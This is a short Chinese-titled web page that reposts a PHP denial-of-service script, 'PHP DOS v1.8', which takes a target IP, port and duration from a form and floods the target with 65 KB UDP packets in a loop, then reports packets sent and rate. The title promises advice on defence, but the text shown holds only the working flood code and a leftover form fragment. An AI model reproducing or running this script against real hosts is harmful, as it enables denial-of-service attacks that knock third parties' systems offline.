phpDOS攻击实现代码(附如何防范)_PHP

$ip = $_SERVER['REMOTE_ADDR']; 
?> 
 
 
 
 
 
 
 
 
 
 
 


 

 
Your IP:  (Don't DoS yourself nub)

 
 
 
 
 
 
 
function.php 
 代码如下:

//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand 

"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>